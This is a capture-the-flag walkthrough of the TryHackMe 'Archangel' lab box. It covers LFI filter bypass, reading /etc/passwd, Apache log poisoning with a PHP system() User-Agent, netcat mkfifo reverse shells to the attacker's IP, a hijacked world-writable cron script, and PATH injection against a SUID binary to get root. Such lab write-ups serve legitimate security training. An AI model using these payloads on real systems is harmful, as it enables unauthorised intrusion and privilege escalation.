Initial Information
Name: Archangel; Box name: ARcHanG3l; IP: 10.10.239.233
Description: Boot2root, Web exploitation, Privilege escalation, LFI
room link: tryhackme.com/room/archangel by: Archangel
Enumeration
As always, we can start with an nmap scan to discover open ports and services running on the box.
$ nmap -sC -sV -p- -oN scans/tcpfull 10.10.239.233
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
| 256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_ 256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- There is only ssh and http open
http - 80/tcp
We can open the ip in our browser and we can see an email address on the page:
support@mXXXXXXXe.thm
Since it contains a domain related to the box (.thm
) we should add it to /etc/hosts
.
10.10.239.233 mXXXXXXXe.thm
And now we can access the domain.
$ curl http://mXXXXXXXe.thm/
<h1>UNDER DEVELOPMENT</h1>
thm{fXXXXXXXXXXXXXXXXXXXXXXX3}
- We got the first flag!
Now, what we can do? We have a test website on the ip and one website under development on the domain. We can try basic directory fuzzing or just try the most common interesting locations by hand.
$ curl http://mXXXXXXXe.thm/robots.txt
User-agent: *
Disallow: /tXXX.php
From the /robots.txt
file we got a new location /tXXX.php
!
Let's try to access it!
$ curl http://mXXXXXXXe.thm/tXXX.php
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
</div>
</body>
</html>
Testing for LFI
Here's a link on the page which uses /tXXX.php
and the view
GET parameter to access a file on the server /var/www/html/development_testing/mrrobot.php
.
This functionality can lead to PATH TRAVERSAL on a webpage!
So let's start tinkering with it!
$ curl http://mXXXXXXXe.thm/tXXX.php?view=/var/www/html/development_testing/mrrobot.php
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
Control is an illusion </div>
</body>
</html>
- This is a different page than the one I saw before (1 line added)
Struggling with the filtering
We can try to test for some basic LFI but there are some filtering going on in the background so we cant use /tXXX.php?view=/etc/passwd
because we must include the full path /var/www/html/development_testing/
. And there are also a filter for multiple ../
's.
After some tryings we can figure out
/tXXX.php?view=/var/www/html/development_testing/../development_testing/mrrobot.php
returns the same mrrobot.php
page which indicates there is an LFI!
And there is a filter so WE MUST BYPASS IT somehow!
Exploitation
The PLAN:
Our goal is to poison the logfile with a malicious User-Agent
and then access this logfile to execute our payload that was sent to the server
and stored in this logfile.
More reading on RCE via LFI and Log Poisoning:
- hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/
- shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16d
We need a logfile we can access then do the rest written in the blog posts above.
Bypassing LFI filters
But we need to bypass the filters to exploit this LFI.
We can search for some basic LFI bypass techniques and we will eventually find
one which uses php's php://filter
.
- github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md#wrapper-phpfilter
- idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
Now, we must customize this payload to our needs.
http://mXXXXXXXe.thm/tXXX.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php
After making a curl request we can immediately see the base64 encoded text on the page which is the source of mrrobot.php
!
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php'
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
PD9waHAgZWNobyAnQ29udHJvbCBpcyBhbiBpbGx1c2lvbic7ID8+Cg== </div>
</body>
</html>
We can use base64 -d
to decode this text.
$ echo 'PD9waHAgZWNobyAnQ29udHJvbCBpcyBhbiBpbGx1c2lvbic7ID8+Cg==' | base64 -d
<?php echo 'Control is an illusion'; ?>
Reading page source
Requesting tXXX.php
with this technique results in a much larger base64 textblock.
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/tXXX.php'
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg== </div>
</body>
</html>
We can use base64 -d
again for decoding.
$ echo 'CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg==' | base64 -d
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{eXXXXXXXXXXXX1}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>
We got a new flag but there is a more interesting thing than this in the source. We finally know how the filter works!
Actually bypassing the filters found in source
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
&&
means both part of the filter should pass to get our file- If there is a
../..
string in theview
parameter it will FAIL - If there is no
/var/www/html/development_testing
string in theview
parameter it will FAIL
We must construct a payload that bypasses the ../..
check and passes the path check!
We can actually bypass this restriction by simply adding ./
in between two ../
's.
We must try to get the contents of /etc/passwd
to prove our bypass works.
http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../etc/passwd'
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../etc/passwd'
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
archangel:x:1001:1001:Archangel,,,:/home/archangel:/bin/bash
</div>
</body>
</html>
- Note that we didn't use base64 encoding here because it's not a php file which gets executed without encoding
Log poisoning
We have to get the contents of a logfile where we can insert malicious data.
This file is usually apache's error.log
or access.log
.
Finding the correct path
We can make a quick search for the location of these files (apache access.log location
).
We have the possible locations!
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd/access.log
/var/log/httpd/access_log
/var/log/httpd-access.log
There are some configfiles too which can leak the location of our target logfile:
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/apache2/apache2.conf:
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../etc/apache2/apache2.conf'
ErrorLog ${APACHE_LOG_DIR}/error.log
/etc/apache2/envvars:
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../etc/apache2/envvars'
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
Since we have the path we can try to get the logfile's contents.
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log'
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=php://filter/resource=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log' | head -n 15
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/tXXX.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
10.8.2.82 - - [06/Feb/2021:18:05:26 +0530] "GET / HTTP/1.0" 200 19462 "-" "-"
10.8.2.82 - - [06/Feb/2021:18:05:27 +0530] "GET / HTTP/1.1" 200 19462 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
10.8.2.82 - - [06/Feb/2021:18:05:27 +0530] "PROPFIND / HTTP/1.1" 405 523 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
10.8.2.82 - - [06/Feb/2021:18:05:27 +0530] "PROPFIND / HTTP/1.1" 405 523 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
10.8.2.82 - - [06/Feb/2021:18:05:27 +0530] "GET /.git/HEAD HTTP/1.1" 404 455 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
We got the contents of the access.log
file which contains User-Agents too!
This part of the file is what we want to use to get an RCE on the box.
Tesing RCE
Now, make a request to the page with a malicious user agent and then request this file again!
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log' -H "User-Agent: asd <?php system('id'); ?> fgh"
For the second request our command should be eexecuted.
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log' -H "User-Agent: asd <?php system('id'); ?> fgh"
---[SNIP]---
10.8.2.82 - - [06/Feb/2021:20:03:23 +0530] "GET /tXXX.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log HTTP/1.1" 200 2942 "-" "asd uid=33(www-data) gid=33(www-data) groups=33(www-data)
fgh"
---[SNIP]---
- Yes! We got RCE via lfi and log poisoning!
Now, it's time to pop a reverse shell and get to the box.
Getting a reverse shell
$ curl 'http://mXXXXXXXe.thm/tXXX.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log' -H "User-Agent: asd <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.2.82 1337 >/tmp/f'); ?> fgh"
- Our shell hangs and we got a reverse shell connection as
www-data
!
We made use of an LFI vulnerability then we chained it with Log poisoning in order to get an RCE!
cat /home/archangel/user.txt
thm{lXXXXXXXXXXXXXXXXXXy}
Privilege Escalation from www-data
I ran linpeas.sh in order to scan the box for possible privesc vectors.
*/1 * * * * archangel /opt/helloworld.sh
I took a closer look on /etc/crontab
and the file that gets executed regularly.
$ cat /etc/crontab
---[SNIP]---
# m h dom mon dow user command
*/1 * * * * archangel /opt/helloworld.sh
---[SNIP]---
$ ls -la /opt/helloworld.sh
-rwxrwxrwx 1 archangel archangel 66 Nov 20 10:35 /opt/helloworld.sh
$ cat /opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
The file has 777
(rwxrwxrwx) permission which is very dangerous and it can be used for privilege escalation!
We can overwrite the file with our commands and it will be executed as user archangel
.
The PLAN:
- Start a listener
- Add our revshell payload to the file
- Wait until it runs
- Enjoy lurking on the box as
archangel
target:
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.2.82 1338 >/tmp/f' >> /opt/helloworld.sh
attacker:
$ nc -lvnp 1338
connect to [10.8.2.82] from (UNKNOWN) [10.10.136.215] 33250
/bin/sh: 0: can't access tty; job control turned off
id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)
We made use of bad permissions to get a higher privileged shell!
cat /home/archangel/secret/user2.txt
thm{hXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXn}
Privilege Escalation from archangel
I ran linpeas.sh again.
Linpeas found a SUID binary which can be interesting so we should take a look at it.
-rwsr-xr-x 1 root root 16904 Nov 18 16:40 /home/archangel/secret/backup
Analysing the binary
$ file backup
backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped
$ strings backup
---[SNIP]---
cp /home/user/archangel/myfiles/* /opt/backupfiles
---[SNIP]---
This binary uses relative paths instead of absolute paths. This makes path injection possible and this can be a way to get root on the system!
Path injection
The PLAN:
- Make a file called
cp
in a new directory and fill it withbash -p
- Make this file executable -->
chmod +x cp
- Add the new directory to the beginning of
$PATH
-->export PATH="/dev/shm/random123/:$PATH"
- Execute the SUID binary -->
/home/archangel/secret/backup
$ cd /dev/shm
$ mkdir random123
$ cd random123
$ echo 'bash -p' > cp
$ chmod +x ./cp
$ export PATH="/dev/shm/random123/:$PATH"
$ /home/archangel/secret/backup
# id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)
We made use of a SUID binary which used relative paths instead of absolute paths which made the binary vulnerable to path injection!
cat /root/root.txt
thm{pXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXn}